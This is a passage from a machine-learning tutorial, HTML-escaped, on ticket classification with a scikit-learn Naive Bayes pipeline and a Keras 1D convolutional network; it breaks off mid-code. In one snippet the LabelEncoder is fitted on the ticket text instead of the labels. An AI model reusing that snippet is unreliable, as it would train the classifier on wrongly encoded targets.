model that takes the text directly as input and outputs the desired classification.
This happens through the class &lt;a href=&quot;https://scikit-learn.org/stable/modules/generated/sklearn.pipeline.Pipeline.html&quot;&gt;&lt;em&gt;sklearn.pipeline.Pipeline&lt;/em&gt;&lt;/a&gt;,
through which it is possible to define in a single object the list of all the transformations and actions to be performed.
The previous code will be partially replicated by the following code.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;python&quot; data-index=&quot;4&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;from&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; sklearn.feature_extraction.text &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;import&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; CountVectorizer, TfidfTransformer&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;from&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; sklearn.naive_bayes &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;import&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; MultinomialNB&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;from&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; sklearn.pipeline &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;import&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; Pipeline&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;text_clf = Pipeline([&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        (&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;vect&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, count_vect),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        (&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;tfidf&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, TfidfTransformer()),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        (&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;clf&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, MultinomialNB())&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    ])&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Source Code 2 - Pipeline end-to-end Scikit Learn&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Another very useful function to mention, defined by the class
&lt;a href=&quot;https://scikit-learn.org/stable/modules/generated/sklearn.model_selection.GridSearchCV.html&quot;&gt;&lt;em&gt;sklearn.model_selection.GridSearchCV&lt;/em&gt;&lt;/a&gt;,
is the &lt;strong&gt;Grid Search&lt;/strong&gt; to perform &lt;a href=&quot;https://en.wikipedia.org/wiki/Hyperparameter_optimization&quot;&gt;&lt;em&gt;parameter optimization&lt;/em&gt;&lt;/a&gt; quickly and easily.&lt;/p&gt;&lt;p&gt;Both the concept of Pipeline and Grid Search are explored and used in the code present on the &lt;a href=&quot;https://github.com/smclab/blog-nlp&quot;&gt;&lt;em&gt;Github&lt;/em&gt;&lt;/a&gt; repository.&lt;/p&gt;&lt;h2 id=&quot;2-textual-classification-with-convolutional-neural-networks&quot;&gt;2. Textual classification with convolutional neural networks&lt;/h2&gt;&lt;p&gt;Another algorithm very suitable for carrying out textual classification tasks is that of convolutional neural networks, in particular networks
with 1-dimensional convolutional layers, which carry out temporal convolution operations, while the 2-dimensional convolutional layers adapt
more to image processing and analysis. For further information on the differences:
&lt;a href=&quot;https://missinglink.ai/guides/keras/keras-conv1d-working-1d-convolutional-neural-networks-keras/&quot;&gt;https://missinglink.ai/guides/keras/keras-conv1d-working-1d-convolutional-neural-networks-keras/&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;Now let&amp;#x27;s see how to train a model for the classification of tickets through algorithms of this type.
We do this using &lt;a href=&quot;https://www.tensorflow.org/api_docs/python/tf/keras&quot;&gt;&lt;em&gt;Tensorflow Keras&lt;/em&gt;&lt;/a&gt; as a support library.
We always assume that our pre-processed and &amp;quot;cleaned&amp;quot; tickets are available in a csv file.&lt;/p&gt;&lt;p&gt;Comer for the approach with the Bayesian Classifier, first we import the contents of the csv in a Pandas dataframe.
We then extract the text and labels and build two special lists.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;python&quot; data-index=&quot;5&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;import&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; pandas &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;as&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; pd&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;df_tickets = pd.read_csv(&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;input/all_tickets.csv&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;text_list = df_tickets[&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;body&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;].tolist()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;labels_list = df_tickets[&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;category&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;].tolist()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Source Code 6 - Reading the data&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Now let&amp;#x27;s move on to the data transformation activity, and in this case we use a transformation of type &lt;em&gt;text to sequence of numbers&lt;/em&gt;. Every
textual content is transformed into a sequence of integers, where each whole map a term in a dedicated vocabulary.
To do this we use a utility defined by Keras with the class
&lt;a href=&quot;https://www.tensorflow.org/api_docs/python/tf/keras/preprocessing/text/Tokenizer&quot;&gt;&lt;strong&gt;tf.keras.preprocessing.text.Tokenizer&lt;/strong&gt;&lt;/a&gt;.
Once the data has been transformed, the split into train and test set is done and then the sequences are padded to a maximum length defined by analyzing the dataset a priori.
Labels are also transformed through a &lt;a href=&quot;https://scikit-learn.org/stable/modules/generated/sklearn.preprocessing.LabelEncoder.html&quot;&gt;&lt;strong&gt;LabelEncoder&lt;/strong&gt;&lt;/a&gt;,
although for this dataset the labels are already defined as integers. This step
it is essential when the labels are not integers.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;python&quot; data-index=&quot;6&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;from&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; tensorflow.keras.preprocessing.text &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;import&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; Tokenizer&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;tokenizer = Tokenizer(&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;split&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27; &amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;tokenizer.fit_on_texts(text_list)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;X = tokenizer.texts_to_sequences(text_list)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;values = np.array(text_list)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# integer encode&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;label_encoder = LabelEncoder()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;label_encoder.fit(values)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;Y = label_encoder.transform(text_list)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;X_train, X_test, Y_train, Y_test = train_test_split(X, Y, &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;test_size&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;0.1&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;random_state&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;42&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# padding sequences to maxlen&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk11&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;Pad sequences (samples x time)&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;X_train = sequence.pad_sequences(X_train, &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;maxlen&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=maxlen)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;X_test = sequence.pad_sequences(X_test, &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;maxlen&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=maxlen)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk11&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;x_train shape:&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, X_train.shape)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk11&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;x_test shape:&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, X_test.shape)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Source Code 7 - Data transformation&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;At this point follows the definition of the model architecture, the definition of the hyperparameters and the actual training.
Training is controlled by an &lt;a href=&quot;https://en.wikipedia.org/wiki/Early_stopping&quot;&gt;&lt;em&gt;Early Stopping&lt;/em&gt;&lt;/a&gt; approach
to prevent any &lt;a href=&quot;https://en.wikipedia.org/wiki/Overfitting&quot;&gt;&lt;em&gt;Overfitting&lt;/em&gt;&lt;/a&gt; phenomena.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;python&quot; data-index=&quot;7&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;from&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; tensorflow.keras.models &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;import&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; Sequential&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;from&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; tensorflow.keras.layers &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;import&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; Dense, Dropout, Activation&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;from&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; tensorflow.keras.layers &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;import&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; Embedding&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;from&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; tensorflow.keras.layers &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;import&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; GlobalAveragePooling1D, Conv1D, GlobalMaxPooling1D&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;from&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; tensorflow.keras.callbacks &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;import&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; EarlyStopping&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;batch_size = &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;32&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk3&quot;&gt;# batch size&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;epochs = &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;100&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk3&quot;&gt;# number of epochs&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;filters = &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;100&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;kernel_size = &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;hidden_dims = &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;100&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;embedding_dim = &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;100&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk11&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;Build model...&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;model = Sequential()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# we start off with an efficient embedding layer which maps&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# our vocab indices into embedding_dims dimensions&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; use_pretrained_embeddings: &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    model.add(Embedding(max_features+&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;                        embedding_dim,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;                        &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;input_length&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=maxlen&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;                        , &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;weights&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; = [embedding_matrix], &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;trainable&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; = &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;using pretrained embeddings&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;else&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    model.add(Embedding(max_features+&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;                        embedding_dim,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;                        &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;input_length&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=maxlen))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;using embeddings from scratch&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;model.add(Dropout(&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;0.2&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# we add a Convolution1D, which will learn filters&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# word group filters of size filter_length:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;model.add(Conv1D(filters,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;                 kernel_size,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;                 &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;padding&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;valid&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;                 &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;activation&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;relu&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;                 &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;strides&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# we use max pooling:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;model.add(GlobalMaxPooling1D())&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# We add a vanilla hidden layer:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;model.add(Dense(hidden_dims))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;model.add(Dropout(&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;0.2&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;model.add(Activation(&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;relu&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# We project onto a single unit output layer, and squash it with a softmax:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;model.add(Dense(n_outputs))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;model.add(Activation(&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;softmax&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;model.compile(&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;loss&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;sparse_categorical_crossentropy&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;              &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;optimizer&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;adam&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;              &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;metrics&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=[&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;accuracy&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;])&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;callback = EarlyStopping(&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;monitor&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;val_loss&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;min_delta&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;patience&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span 